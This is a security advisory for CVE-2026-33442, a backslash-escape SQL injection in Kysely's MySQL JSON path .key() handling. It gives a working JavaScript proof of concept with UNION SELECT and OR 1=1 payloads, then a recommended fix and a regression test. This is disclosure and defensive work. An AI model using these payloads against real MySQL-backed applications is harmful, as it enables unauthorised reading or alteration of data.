CVE-2026-33442

Description

## Summary The `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. ## Details When a user calls `.key(value)` on a JSON path builder, the value flows through: 1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `'Member'`. 2. During compilation, `DefaultQueryCompiler.visitJSONPath()` at `src/query-compiler/default-query-compiler.ts:1609` wraps the full path in single quotes (`'$...'`). 3. `DefaultQueryCompiler.visitJSONPathLeg()` at `src/query-compiler/default-query-compiler.ts:1623` calls `sanitizeStringLiteral(node.value)` for string values (line 1630). 4. `sanitizeStringLiteral()` at `src/query-compiler/default-query-compiler.ts:1819-1821` only doubles single quotes: ```typescript // src/query-compiler/default-query-compiler.ts:121 const LIT_WRAP_REGEX = /'/g // src/query-compiler/default-query-compiler.ts:1819-1821 protected sanitizeStringLiteral(value: string): string { return value.replace(LIT_WRAP_REGEX, "''") } ``` The `MysqlQueryCompiler` does not override `sanitizeStringLiteral` - it only overrides `sanitizeIdentifier` for backtick escaping. **The bypass mechanism:** In MySQL's default `BACKSLASH_ESCAPES` mode, `\'` inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input `\' OR 1=1 --`: 1. `sanitizeStringLiteral` sees the `'` and doubles it: `\'' OR 1=1 --` 2. The full compiled path becomes: `'$.\'' OR 1=1 --'` 3. MySQL parses `\'` as an escaped quote character (consuming the first `'` of the doubled pair) 4. The second `'` now terminates the string literal 5. ` OR 1=1 --` is parsed as SQL, achieving injection The existing test at `test/node/src/sql-injection.test.ts:61-83` only tests single-quote injection (`first' as ...`), which the `''` doubling correctly prevents. It does not test the backslash bypass vector. ## PoC ```javascript import { Kysely, MysqlDialect } from 'kysely' import { createPool } from 'mysql2' const db = new Kysely({ dialect: new MysqlDialect({ pool: createPool({ host: 'localhost', user: 'root', password: 'password', database: 'testdb', }), }), }) // Setup: create a table with JSON data await sql`CREATE TABLE IF NOT EXISTS users ( id INT PRIMARY KEY AUTO_INCREMENT, data JSON )`.execute(db) await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db) // Attack: backslash escape bypass in .key() // An application that passes user input to .key(): const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never const query = db .selectFrom('users') .select((eb) => eb.ref('data', '->$').key(userInput as never).as('result') ) console.log(query.compile().sql) // Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users` // MySQL interprets \' as escaped quote, breaking out of the string literal const results = await query.execute() console.log(results) // Returns injected query results ``` **Simplified verification of the bypass mechanics:** ```javascript const { Kysely, MysqlDialect } = require('kysely') // Even without executing, the compiled SQL demonstrates the vulnerability: const compiled = db .selectFrom('users') .select((eb) => eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x') ) .compile() console.log(compiled.sql) // select `data`->'$.\'' OR 1=1 --' as `x` from `users` // ^^ MySQL sees this as escaped quote // ^ This quote now terminates the string // ^^^^^^^^^^^ Injected SQL ``` **Note:** PostgreSQL is unaffected because `standard_conforming_strings=on` (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default `BACKSLASH_ESCAPES` mode are vulnerable. ## Impact - **SQL Injection:** An attacker who can control values passed to the `.key()` JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases. - **Data Exfiltration:** Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user. - **Data Modification/Deletion:** If the application's database user has write permissions, stacked queries (when enabled via `multipleStatements: true`) or subquery-based injection can modify or delete data. - **Full Database Compromise:** Depending on MySQL user privileges, the attacker could potentially execute administrative operations. - **Scope:** Any application using Kysely with MySQL that passes user-controlled input to `.key()`, `.at()`, or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection. ## Recommended Fix Escape backslashes in addition to single quotes in `sanitizeStringLiteral`. This neutralizes the bypass in MySQL's `BACKSLASH_ESCAPES` mode: ```typescript // src/query-compiler/default-query-compiler.ts // Change the regex to also match backslashes: const LIT_WRAP_REGEX = /['\\]/g // Update sanitizeStringLiteral: protected sanitizeStringLiteral(value: string): string { return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''") } ``` With this fix, the input `\' OR 1=1 --` becomes `\\'' OR 1=1 --`, where MySQL parses `\\` as a literal backslash, `''` as an escaped quote, and the string literal is never terminated. Alternatively, the MySQL-specific compiler could override `sanitizeStringLiteral` to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it: ```typescript // src/dialect/mysql/mysql-query-compiler.ts protected override sanitizeStringLiteral(value: string): string { return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''") } ``` A corresponding test should be added to `test/node/src/sql-injection.test.ts`: ```typescript it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => { const injection = `\\' OR 1=1 -- ` as never const query = ctx.db .selectFrom('person') .select((eb) => eb.ref('first_name', '->$').key(injection).as('x')) await ctx.db.executeQuery(query) await assertDidNotDropTable(ctx, 'person') }) ```

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